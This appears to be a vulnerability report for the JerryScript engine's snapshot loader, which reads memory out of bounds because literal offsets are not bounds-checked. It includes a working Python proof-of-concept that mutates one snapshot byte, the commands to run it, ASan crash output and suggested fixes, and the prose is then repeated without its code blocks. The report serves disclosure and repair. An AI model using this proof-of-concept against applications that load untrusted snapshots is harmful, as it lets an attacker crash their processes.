Summary
The snapshot loader does not fully validate literal offsets stored in a snapshot file. A crafted snapshot can make ecma_snapshot_get_literal compute a literal pointer outside the snapshot buffer and then read a string length from that invalid address.
This is reachable through jerry --exec-snapshot and the public jerry_exec_snapshot() API. It is not reachable from plain JavaScript source execution.
Security impact
- Suggested severity: Medium
- Suggested CWE: CWE-125 (Out-of-bounds Read)
- Attack surface: malformed snapshot file loaded by the engine
- Observed impact: deterministic release-build crash / ASan SEGV
- Note: this is snapshot-input-triggered, not pure JavaScript source-triggered
- Security impact exists when an embedding application accepts snapshots from an untrusted or attacker-modifiable source. If snapshots are always generated and stored by the application itself and cannot be modified, the practical risk is lower.
Root cause
At jerry-core/ecma/base/ecma-literal-storage.c, the snapshot literal offset is used without checking whether it stays inside the snapshot literal table:
const uint8_t *literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT);
...
uint16_t length = *(const uint16_t *) literal_p;
return ecma_find_or_create_literal_string (literal_p + sizeof (uint16_t), length, false);
There is no bounds check before reading length or before using the following bytes as string data.
JerryScript revision
Observed at JerryScript commit:
b7069350c2e52e7dc721dfb75f067147bd79b39b
Tested on: 2026-06-20.
Build platform
Ubuntu 24.04.4 LTS (Linux 6.6.87.2-microsoft-standard-WSL2 x86_64)
Build steps
Snapshot-enabled ASan build:
python3 tools/build.py --clean \
--builddir=build-snapshot-asan \
--jerry-cmdline-snapshot=ON \
--snapshot-exec=ON \
--snapshot-save=ON \
--compile-flag=-fsanitize=address \
--linker-flag=-fsanitize=address \
--strip=OFF
A non-ASan snapshot build can also reproduce the crash:
python3 tools/build.py --clean \
--jerry-cmdline-snapshot=ON \
--snapshot-exec=ON \
--snapshot-save=ON
Build log
Not a build problem. Build completed successfully.
Test case
The following Python script generates a valid snapshot from benign JavaScript, mutates one byte in a serialized ecma_value_t snapshot literal offset, prints the relevant layout information, and writes poc.snapshot.
make_snapshot_oob.py:
#!/usr/bin/env python3
import os
import subprocess
import tempfile
import struct
import hashlib
JERRY_SNAPSHOT = os.environ.get("JERRY_SNAPSHOT", os.path.abspath("./build/bin/jerry-snapshot"))
SOURCE = """var x = { a: 1 }?.a;
var x = { a: 1 }?.a;
var x = 1;
function f() { return 1; }
var x = true ? 1 : 0;
print(0);
"""
def main():
with tempfile.NamedTemporaryFile(mode="w", suffix=".js", delete=False) as f:
f.write(SOURCE)
js_path = f.name
snap_path = js_path + ".snapshot"
try:
subprocess.run(
[JERRY_SNAPSHOT, "generate", "-o", snap_path, js_path],
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
with open(snap_path, "rb") as f:
snap = bytearray(f.read())
if len(snap) <= 0x8e:
raise RuntimeError("Unexpected snapshot layout: only %d bytes" % len(snap))
original = bytearray(snap)
# This byte is part of the little-endian ecma_value_t at file offset 0x8c.
# The mutation changes that value from 0x00000087 to 0x007a0087.
snap[0x8e] = 0x7a
magic, version, flags, lit_table_offset, number_of_funcs, func0 = struct.unpack_from("<IIIIII", original, 0)
old_value = struct.unpack_from("<I", original, 0x8c)[0]
new_value = struct.unpack_from("<I", snap, 0x8c)[0]
literal_offset = new_value >> 5 # JERRY_SNAPSHOT_LITERAL_SHIFT == ECMA_VALUE_SHIFT + 2 == 5.
literal_absolute = lit_table_offset + literal_offset
print("snapshot size:", len(original))
print("original sha256:", hashlib.sha256(original).hexdigest())
print("mutated sha256:", hashlib.sha256(snap).hexdigest())
print("literal table offset:", lit_table_offset)
print("literal table size:", len(original) - lit_table_offset)
print("original byte at 0x8e:", hex(original[0x8e]))
print("mutated byte at 0x8e:", hex(snap[0x8e]))
print("original ecma_value_t at 0x8c: 0x%08x" % old_value)
print("mutated ecma_value_t at 0x8c: 0x%08x" % new_value)
print("mutated type bits:", new_value & 0x7)
print("decoded literal offset:", literal_offset)
print("absolute literal address offset:", literal_absolute)
print("points bytes past snapshot end:", literal_absolute - len(original))
with open("poc.snapshot", "wb") as f:
f.write(snap)
print("Wrote poc.snapshot")
finally:
os.unlink(js_path)
try:
os.unlink(snap_path)
except FileNotFoundError:
pass
if __name__ == "__main__":
main()
Execution platform
Same as the build platform.
Execution steps
For the ASan build above:
JERRY_SNAPSHOT=build-snapshot-asan/bin/jerry-snapshot python3 make_snapshot_oob.py
ASAN_OPTIONS=detect_leaks=0 build-snapshot-asan/bin/jerry --exec-snapshot poc.snapshot
For a non-ASan snapshot build:
JERRY_SNAPSHOT=build/bin/jerry-snapshot python3 make_snapshot_oob.py
build/bin/jerry --exec-snapshot poc.snapshot
Output
ASan output:
snapshot size: 166
original sha256: 66ed96335483160bfc15c99c1956dbd3b7bba79911d485cd7c952e0d27bf50fb
mutated sha256: 4daa6ca55e13460be26a27bb62dda2d30ea6779522933a18cb65197dfdeed799
literal table offset: 144
literal table size: 22
original byte at 0x8e: 0x0
mutated byte at 0x8e: 0x7a
original ecma_value_t at 0x8c: 0x00000087
mutated ecma_value_t at 0x8c: 0x007a0087
mutated type bits: 7
decoded literal offset: 249860
absolute literal address offset: 250004
points bytes past snapshot end: 249838
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x50f00003d0d4
The signal is caused by a READ memory access.
The mutated value still has type bits 7, which is ECMA_TYPE_SNAPSHOT_OFFSET. ecma_snapshot_get_literal then computes:
literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)
= snapshot[144] + 249860
The generated snapshot is only 166 bytes long, so the decoded literal pointer is 249838 bytes past the end of the snapshot buffer.
Backtrace
Representative ASan stack:
#0 ecma_snapshot_get_literal
#1 snapshot_load_compiled_code
#2 snapshot_load_compiled_code
#3 main
The crash occurs when ecma_snapshot_get_literal reads the string length from an out-of-bounds literal_p.
Expected behavior
The snapshot loader should validate all snapshot offsets and sizes before reading from them. A malformed snapshot should be rejected with an error instead of causing an out-of-bounds read or process crash.
Suggested fix
Primary fix: validate literal offsets before use.
- Pass the snapshot bounds or literal-table bounds to
ecma_snapshot_get_literal.
- Before pointer arithmetic, check that
(literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT) is within the literal table.
- For number literals, check that
sizeof(ecma_number_t) bytes are available.
- For BigInt literals, check that the header and declared digit data fit in the literal table.
- For string literals, check that
sizeof(uint16_t) + length bytes are available.
- Use overflow-safe checks such as
required_size <= literal_table_size - offset.
Defense in depth: validate nested compiled-code offsets, bytecode sizes, and other snapshot-internal pointers before following them.
Regression test suggestion
Add a snapshot regression test that runs this malformed snapshot and verifies that jerry --exec-snapshot poc.snapshot rejects the input cleanly instead of crashing.
Summary
The snapshot loader does not fully validate literal offsets stored in a snapshot file. A crafted snapshot can make
ecma_snapshot_get_literalcompute a literal pointer outside the snapshot buffer and then read a string length from that invalid address.This is reachable through
jerry --exec-snapshotand the publicjerry_exec_snapshot()API. It is not reachable from plain JavaScript source execution.Security impact
Root cause
At
jerry-core/ecma/base/ecma-literal-storage.c, the snapshot literal offset is used without checking whether it stays inside the snapshot literal table:There is no bounds check before reading
lengthor before using the following bytes as string data.JerryScript revision
Observed at JerryScript commit:
Tested on: 2026-06-20.
Build platform
Build steps
Snapshot-enabled ASan build:
A non-ASan snapshot build can also reproduce the crash:
Build log
Not a build problem. Build completed successfully.
Test case
The following Python script generates a valid snapshot from benign JavaScript, mutates one byte in a serialized
ecma_value_tsnapshot literal offset, prints the relevant layout information, and writespoc.snapshot.make_snapshot_oob.py:Execution platform
Same as the build platform.
Execution steps
For the ASan build above:
For a non-ASan snapshot build:
Output
ASan output:
The mutated value still has type bits
7, which isECMA_TYPE_SNAPSHOT_OFFSET.ecma_snapshot_get_literalthen computes:The generated snapshot is only 166 bytes long, so the decoded literal pointer is 249838 bytes past the end of the snapshot buffer.
Backtrace
Representative ASan stack:
The crash occurs when
ecma_snapshot_get_literalreads the string length from an out-of-boundsliteral_p.Expected behavior
The snapshot loader should validate all snapshot offsets and sizes before reading from them. A malformed snapshot should be rejected with an error instead of causing an out-of-bounds read or process crash.
Suggested fix
Primary fix: validate literal offsets before use.
ecma_snapshot_get_literal.(literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)is within the literal table.sizeof(ecma_number_t)bytes are available.sizeof(uint16_t) + lengthbytes are available.required_size <= literal_table_size - offset.Defense in depth: validate nested compiled-code offsets, bytecode sizes, and other snapshot-internal pointers before following them.
Regression test suggestion
Add a snapshot regression test that runs this malformed snapshot and verifies that
jerry --exec-snapshot poc.snapshotrejects the input cleanly instead of crashing.